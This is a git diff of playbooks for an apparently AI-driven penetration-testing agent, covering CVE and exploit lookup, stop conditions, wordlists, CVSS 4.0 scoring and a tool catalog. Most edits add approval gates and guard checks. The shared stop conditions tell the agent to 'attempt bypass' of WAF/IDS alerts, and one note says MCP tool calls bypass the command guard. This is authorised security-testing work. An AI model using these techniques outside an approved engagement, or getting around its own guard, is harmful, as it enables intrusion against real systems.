b/skills/pentest/playbooks/vuln-research.md @@ -1,17 +1,15 @@ # Vulnerability Research Playbook -> **📁 Project structure:** All research evidence goes under `engagements/-/evidence/vuln-research/`. -> ```bash -> ENG_DIR="engagements/-$(date +%F)" -> mkdir -p "$ENG_DIR/evidence/vuln-research" -> ``` +> **📁 Project structure:** All research evidence goes under `$ENG_DIR/evidence/vuln-research/`. +> Resolve `$ENG_DIR` once via `references/shared-safety.md` §ENG_DIR Resolution, then `mkdir -p "$ENG_DIR/evidence/vuln-research/"`. ## Capabilities (this phase) | Tool | Purpose (vuln research phase) | |------|-------------------------------| -| `web_search` | CVE lookup (NVD, ExploitDB, GitHub, OSV), PoC discovery | -| `terminal` | searchsploit, gh search, curl APIs, nuclei scan | +| `web_search` | CVE lookup, advisory corroboration, and PoC discovery | +| `terminal` | Guarded tool discovery and approved local checks | +| `violin_search_exploit` | Read-only local SearchSploit lookup and candidate normalization | | `write_file` / `read_file` | Save CVE results to evidence/, read recon output, maintain vulnerabilities.md | | `code_execution` | Parse API responses, write custom PoC scripts | | `clarify` | Suggest tools for installation, ask about prioritization | @@ -48,21 +46,13 @@ Systematic process for researching CVEs, finding exploits, assessing impact, and - **With API key:** Add `&apiKey=` for 50 req/30s instead of 5 req/30s. - Cross-reference results with CIRCL: `curl https://cve.circl.lu/api/search//` -### 3. Search ExploitDB for Exploits +### 3. Search the Local ExploitDB Index -```bash -# CLI -searchsploit -searchsploit - -# Mirror exploit locally -searchsploit -m - -# Examine exploit code -searchsploit -x -``` - -- Also search the web: `https://www.exploit-db.com/search?q=+` +Use `violin_search_exploit` with the product, version, service, and any known +CVE identifier. It performs a bounded `searchsploit --json` lookup when the +local index is installed and returns normalized candidates with provenance. +It never downloads, mirrors, or executes candidate code. If SearchSploit is +unavailable, record that explicitly and continue with Hermes web research. ### 4. Search Internet for Exploitation Techniques @@ -74,20 +64,13 @@ Run the following web searches: - ` exploitation techniques` - `how to exploit ` -### 5. Search GitHub for PoC Code +### 5. Search GitHub and Other Public Sources -```bash -# Search code containing the CVE ID -gh search code 'CVE-XXXX-YYYY' --language python -gh search code 'CVE-XXXX-YYYY' --language go -gh search code 'CVE-XXXX-YYYY' --language ruby - -# Search repos referencing the CVE -gh search repos 'CVE-XXXX-YYYY' - -# Search for proof-of-concept repos -gh search repos 'CVE-XXXX-YYYY PoC' --sort stars -``` +Use Hermes web search for public advisories, vendor notices, NVD, ExploitDB, +and GitHub references. If authenticated GitHub code search is necessary, use +`gh` through the normal guarded execution path. Record the source, query, +availability, and result in the research log; an unavailable source is a +capability result, not evidence that no PoC exists. ### 6. Suggest Tools for Vulnerability Class @@ -113,7 +96,8 @@ gh search repos ' exploitation tool' # - Command Injection: commix ``` -If no appropriate tool exists, write a custom script via `code_execution`. +If no appropriate tool exists, document the capability gap and ask for an +explicit decision before creating or acquiring custom code. ### 7. Assess Exploitability, Impact & CVSS @@ -158,23 +142,14 @@ Prioritisation factors in order: ### GitHub Search ```bash +# (full command set in step 5 above — reuse those; the key patterns:) gh search repos '' gh search code '' -gh search repos ' PoC' --sort stars gh search repos ' exploit' --sort stars ``` ### Exploitation Writeup Sources - -- **Medium** — > -- **HackerOne** — -- **HackTheBox / TryHackMe** writeups — search "HTB writeup" -- **PortSwigger Blog** — -- **Google Project Zero** — -- **Synack Blog** — -- **Bishop Fox Blog** — -- **Rapid7 Blog** — -- **Cobalt Blog** — +> Medium, HackerOne hacktivity, HackTheBox/TryHackMe, PortSwigger Blog, Project Zero, Synack, Bishop Fox, Rapid7, Cobalt — search "`` writeup" / "HTB `` writeup". --- @@ -203,15 +178,15 @@ If no existing tool covers the vulnerability class: --- -## Custom Exploit Development +## Custom Exploit Work ### Workflow -1. **Research** the vulnerability class thoroughly — read advisories, CWE descriptions, and existing PoCs. +1. Record the missing capability, affected hypothesis, and sources checked. 2. **Understand the root cause** — is it input validation failure, missing auth check, race condition, etc.? -3. **Write a minimal PoC** using `code_execution` or creating a file and running via `terminal`. +3. Do not hand-write a blind exploit when no trustworthy implementation is available. 4. **Review for safety** — verify the PoC only targets the intended scope, no destructive payloads. -5. **Ask approval** before executing the PoC against any live target. +5. Treat acquisition, review, adaptation, and execution as separate approved actions. 6. **Document** the exploit code, usage, expected output, and any prerequisites in the report. ### Example Structure @@ -403,4 +378,4 @@ last_updated: 2026-07-05 updated_reason: | Retrospective gap analysis found 3 entirely skipped WSTG categories (session management, business logic, client-side testing). Added 10 - mandatory gates as a checklist to prevent category-level skips. \ No newline at end of file + mandatory gates as a checklist to prevent category-level skips. diff --git a/skills/pentest/playbooks/xss.md b/skills/pentest/playbooks/xss.md index 7bcb204..dfc4017 100644 --- a/skills/pentest/playbooks/xss.md +++ b/skills/pentest/playbooks/xss.md @@ -194,9 +194,7 @@ Each finding should include: --- ## Stop Conditions -- Payload causes unexpected server behavior (crash, timeout, full response change) → pause and assess -- Access to sensitive data discovered that exceeds scope → stop and notify -- Exploitation attempt triggers WAF/IDS alert → note and attempt bypass or escalate +- Generic baseline — see `references/shared-safety.md` §Generic Stop Conditions (pause on unexpected behavior, scope breach, or WAF/IDS trip). --- diff --git a/skills/pentest/playbooks/xxe.md b/skills/pentest/playbooks/xxe.md index 97a2de9..3322198 100644 --- a/skills/pentest/playbooks/xxe.md +++ b/skills/pentest/playbooks/xxe.md @@ -255,9 +255,7 @@ Content-Type: application/xml - Network egress filtering to prevent OOB exfiltration ## Stop Conditions -- Payload causes unexpected server behavior (crash, timeout, full response change) → pause and assess -- Access to sensitive data discovered that exceeds scope → stop and notify -- Exploitation attempt triggers WAF/IDS alert → note and attempt bypass or escalate +- Generic baseline — see `references/shared-safety.md` §Generic Stop Conditions (pause on unexpected behavior, scope breach, or WAF/IDS trip). ## Blocked / Out of Scope diff --git a/skills/pentest/references/kali-parrot-paths.md b/skills/pentest/references/kali-parrot-paths.md index fe55bbf..9055ca6 100644 --- a/skills/pentest/references/kali-parrot-paths.md +++ b/skills/pentest/references/kali-parrot-paths.md @@ -11,11 +11,13 @@ See [`tool-discovery.md`](./tool-discovery.md) for environment detection and cro | Path | Description | |------|-------------| -| `/usr/share/seclists/` | SecLists — comprehensive collection of wordlists (root of the SecLists repo) | +| `/usr/share/seclists/` | SecLists — comprehensive collection of wordlists (root of the [SecLists repo](https://github.com/danielmiessler/SecLists); `seclists` package on Kali/Parrot, or `git clone` anywhere and `export SECLISTS=`) | | `/usr/share/seclists/Discovery/Web-Content/` | Web content discovery wordlists (common.txt, raft, directory-list-* ) | | `/usr/share/seclists/Discovery/DNS/` | DNS subdomain wordlists | | `/usr/share/seclists/Passwords/` | Password wordlists | | `/usr/share/seclists/Fuzzing/` | Fuzzing wordlists | + +> **Portable wordlists:** on non-Kali hosts where `/usr/share/seclists` is absent, `git clone https://github.com/danielmiessler/SecLists.git ~/SecLists && export SECLISTS=~/SecLists`, then reference wordlists as `$SECLISTS/Discovery/Web-Content/common.txt` etc. (see [`tool-discovery.md`](./tool-discovery.md) §From GitHub). | `/usr/share/wordlists/` | System password lists | | `/usr/share/wordlists/rockyou.txt.gz` | RockYou password list (gunzip first) | | `/usr/share/dirb/wordlists/` | DIRB bundled wordlists | diff --git a/skills/pentest/references/shared-safety.md b/skills/pentest/references/shared-safety.md new file mode 100644 index 0000000..e027e19 --- /dev/null +++ b/skills/pentest/references/shared-safety.md @@ -0,0 +1,32 @@ +# Shared Safety Blocks (canonical) + +These baseline safety blocks are identical across many vuln-class playbooks. They are +defined once here to avoid drift. Playbooks reference them instead of copying the text. + +Class-specific `## Blocked Actions` sections (auth-bypass, sqli, xss, command-injection, +post-exploitation, deserialization, idor-access-control, jwt-attacks, path-traversal, ssrf, +recon, reporting, scoping, tools, vuln-research, etc.) stay inline in those playbooks. + +The generic forbidden-action baseline is NOT duplicated here — it lives in `.hermes.md` +§Forbidden Behaviour (auto-loaded project context), which is the single source of truth for +prohibited behaviour. Playbooks that need the generic baseline point there instead of copying it. + +## Generic Stop Conditions + +- Payload causes unexpected server behavior (crash, timeout, full response change) → pause and assess +- Access to sensitive data discovered that exceeds scope → stop and notify +- Exploitation attempt triggers WAF/IDS alert → note and attempt bypass or escalate + +## ENG_DIR Resolution + +Resolve the engagement root to the same canonical tree the scoping bootstrap created +(prevents a divergent `/home/kali/engagements` tree — Issue D): + +```bash +if [ -z "${VIOLIN_ENG_ROOT:-}" ]; then + VIOLIN_ENG_ROOT="$(python scripts/violin_guard.py eng-root 2>/dev/null | sed -n 's/^ENG_ROOT=//p')" +fi +ENG_DIR="${VIOLIN_ENG_ROOT:-$HOME}/engagements/-$(date +%F)" +``` + +Each phase playbook appends its own `mkdir -p "$ENG_DIR/evidence//..."` after this. diff --git a/skills/pentest/references/standards.md b/skills/pentest/references/standards.md index b3182bf..ea8d0a9 100644 --- a/skills/pentest/references/standards.md +++ b/skills/pentest/references/standards.md @@ -142,6 +142,39 @@ review-required. Do not use agent judgment to override a blocked result. | User PII (non-target) | ❌ Not in chat | ❌ Not in evidence | ❌ Not anywhere | | Screenshot | ✅ With sensitive data blurred | ✅ High resolution | ❌ N/A | +### 2.4 Atomic Finding Rule + +Use one finding per atomic security issue. An atomic finding has one root +cause, one affected asset or asset class, one reproducible proof, and one +remediation owner. Do not bundle several vulnerabilities, assets, or proof +paths into one finding just because they share a theme. + +Split into separate findings when any of these differ: root cause, affected +asset, verification receipt, proof command, remediation owner, CVSS vector, +severity, or exploit preconditions. + +Use a roll-up only for repeated instances with a shared root cause, shared +remediation, and comparable impact. The roll-up must link to each atomic +finding and must not replace the individual evidence trail. + +### 2.5 Attack-Chain Correlation + +Attack-chain correlation connects individually validated atomic findings into a +multi-step narrative without merging their evidence. Each chain record uses: + +```yaml +chain_id: CHAIN-001 +step_id: STEP-001 +finding_id: FIND-001 +prerequisite_findings: [] +resulting_access: "unauthenticated SSRF reaches internal admin panel" +chain_impact: "enables the next approved validation step" +``` + +The chain impact may raise business priority, but it must not replace the CVSS +or receipt for any atomic finding. Every step keeps its own approval, evidence, +verification receipt, and remediation owner. + --- ## 3. Severity Scoring @@ -172,7 +205,34 @@ For L3 and L4 findings, compute the CVSS 3.1 Base Score: Use the [NVD CVSS Calculator](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator) or compute inline with a script. -### 3.3 Finding Record Format +### 3.3 CVSS 4.0 Scoring Methodology + +For L3 and L4 findings, calculate CVSS 4.0 alongside CVSS 3.1 when feasible. Use the CVSS 4.0 vector as the preferred current scoring record while retaining CVSS 3.1 for historical comparability. + +Core CVSS 4.0 metrics to review: + +1. **Attack Vector (AV)** and **Attack Complexity (AC)** +2. **Attack Requirements (AT)** — whether exploitation depends on pre-existing deployment conditions +3. **Privileges Required (PR)** and **User Interaction (UI)** +4. **Vulnerable System Confidentiality (VC)**, **Vulnerable System Integrity (VI)**, and **Vulnerable System Availability (VA)** +5. **Subsequent System Confidentiality (SC)**, **Subsequent System Integrity (SI)**, and **Subsequent System Availability (SA)** + +**Example vector:** `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N` → Critical when calculator output is 9.0–10.0. + +### 3.4 Severity Crosswalk + +Use `templates/cvss4-crosswalk.md` for every report-ready L3/L4 finding. The crosswalk records CVSS 3.1, CVSS 4.0, selected report severity, and an anti-under-rating ratify pass. + +| Severity | CVSS 3.1 Base Score | CVSS 4.0 Base Score | +|---|---:|---:| +| Low | 0.1–3.9 | 0.1–3.9 | +| Medium | 4.0–6.9 | 4.0–6.9 | +| High | 7.0–8.9 | 7.0–8.9 | +| Critical | 9.0–10.0 | 9.0–10.0 | + +The anti-under-rating ratify pass is mandatory before delivery: compare calculator output to the demonstrated evidence and confirm the final severity is not lower than proven confidentiality, integrity, availability, privilege, or data exposure impact. + +### 3.5 Finding Record Format Every L3/L4 finding in the report should include: diff --git a/skills/pentest/references/tool-catalog.md b/skills/pentest/references/tool-catalog.md index ce7fab1..f806df7 100644 --- a/skills/pentest/references/tool-catalog.md +++ b/skills/pentest/references/tool-catalog.md @@ -58,6 +58,24 @@ Comprehensive reference of security tools available on Kali Linux, organized by | **beef-xss** | `beef-xss` | Browser Exploitation Framework — XSS assessment | | **dirbuster** | `dirbuster` | Multi-threaded web content brute-force (GUI) | +### pentest-ai / ptai (optional, external) + +Violin does NOT register `ptai mcp` as a live tool inside its session — MCP tool calls +bypass `violin_exec`/`check-command`. Treat ptai as an optional evidence producer only: + +- **Sidecar import (preferred):** run ptai in its own guarded session (`ptai start ` + or under Claude Code). Import oracle-VERIFIED findings and proof capsules as candidate + evidence only; each must produce a Violin receipt and re-pass `check-command` before + promotion to `Validated`. Store capsules under `$ENG_DIR/evidence/exploitation/ptai/`; + `ptai replay` is the re-runnable proof. +- **Recipe wrapper:** translate a ptai probe into an explicit `terminal` command so it goes + through `violin_exec` and the guard. Violin drives; ptai logic is reused as a script, not + as a live MCP tool. + +Discovery: `command -v ptai` / `ptai --help | head -40`. +Rule: ptai output is NEVER auto-in-scope. Run `check-command` first, keep scope host-locked, +and save raw ptai output under `$ENG_DIR/evidence/exploitation/ptai/`. + --- ## Password & Authentication @@ -102,7 +120,7 @@ Comprehensive reference of security tools available on Kali Linux, organized by |------|---------|-------------| | **bloodhound** | `bloodhound` | AD relationship visualization and attack path analysis (GUI) | | **sharphound** | `sharphound` | BloodHound data collector (runs on Windows targets) | -| **impacket-scripts** | `impacket-scripts` | Python scripts for AD protocol interaction (SMB, MSRPC, Kerberos) | +| **impacket-scripts** | `impacket-scripts` (Kali/Parrot) · [`fortra/impacket`](https://github.com/fortra/impacket) (source) | Python library + `impacket-*` example scripts for AD protocol interaction (SMB, MSRPC, Kerberos). `pip install .` from the repo yields `impacket-